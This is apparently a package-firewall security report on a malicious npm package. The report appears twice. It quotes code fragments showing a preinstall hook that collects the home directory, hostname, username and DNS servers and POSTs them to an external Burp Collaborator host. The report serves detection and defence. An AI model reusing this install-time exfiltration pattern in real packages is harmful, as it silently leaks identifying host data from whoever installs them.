@avigilon/node-webrtc@2.1.4: Malicious npm security report | LPM Firewall

Loading npm security reports…

@avigilon/node-webrtc@2.1.4: Malicious npm security report | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

9"scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node index.js" }

High

Suspicious Lifecycle Evidence

The preinstall hook automatically executes index.js during package installation.

package.jsonView on unpkg · L9

index.jsView file

2const os = require("os"); L3: const dns = require("dns"); L4: const querystring = require("querystring"); L5: const https = require("https"); L6: const packageJSON = require("./package.json"); L7: const package = packageJSON.name; ... L10: p: package, L11: c: __dirname, L12: hd: os.homedir(), L13: hn: os.hostname(), L14: un: os.userInfo().username, ... L37: res.on("data", (d) => {

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L2

•matchType = malicious_source_fingerprint_signature signature = afa22177d930fde8 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = cilm-ui-commons@1.1.0 matchedPath = index.js matchedIdentity = npm:Y2lsbS11aS1jb21tb25z:1.1.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

9const trackingData = JSON.stringify({ p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: dns.getServers(), r: packageJSON ? packageJSON.___resolved : undefined, v: packageJSON.version, pjson: packageJSON, });

High

Ai Review Evidence

The executed code collects the home directory, hostname, local username, DNS servers, and package metadata.

index.jsView on unpkg · L9

25var options = { hostname: "[redacted].burp.attack.live", port: 443, path: "/", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "Content-Length": postData.length, }, }; var req = https.request(options, (res) => {

High

Ai Review Evidence

It sends the collected data in an HTTPS POST request to an external Burp Collaborator host.

index.jsView on unpkg · L25

46req.write(postData); req.end();

High

Ai Review Evidence

It sends the collected data in an HTTPS POST request to an external Burp Collaborator host.

index.jsView on unpkg · L46

Source & flagged code

8 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

9"scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node index.js" }

High

Suspicious Lifecycle Evidence

The preinstall hook automatically executes index.js during package installation.

package.jsonView on unpkg · L9

index.jsView file

2const os = require("os"); L3: const dns = require("dns"); L4: const querystring = require("querystring"); L5: const https = require("https"); L6: const packageJSON = require("./package.json"); L7: const package = packageJSON.name; ... L10: p: package, L11: c: __dirname, L12: hd: os.homedir(), L13: hn: os.hostname(), L14: un: os.userInfo().username, ... L37: res.on("data", (d) => {

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L2

•matchType = malicious_source_fingerprint_signature signature = afa22177d930fde8 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = cilm-ui-commons@1.1.0 matchedPath = index.js matchedIdentity = npm:Y2lsbS11aS1jb21tb25z:1.1.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

9const trackingData = JSON.stringify({ p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: dns.getServers(), r: packageJSON ? packageJSON.___resolved : undefined, v: packageJSON.version, pjson: packageJSON, });

High

Ai Review Evidence

The executed code collects the home directory, hostname, local username, DNS servers, and package metadata.

index.jsView on unpkg · L9

25var options = { hostname: "[redacted].burp.attack.live", port: 443, path: "/", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "Content-Length": postData.length, }, }; var req = https.request(options, (res) => {

High

Ai Review Evidence

It sends the collected data in an HTTPS POST request to an external Burp Collaborator host.

index.jsView on unpkg · L25

46req.write(postData); req.end();

High

Ai Review Evidence

It sends the collected data in an HTTPS POST request to an external Burp Collaborator host.

index.jsView on unpkg · L46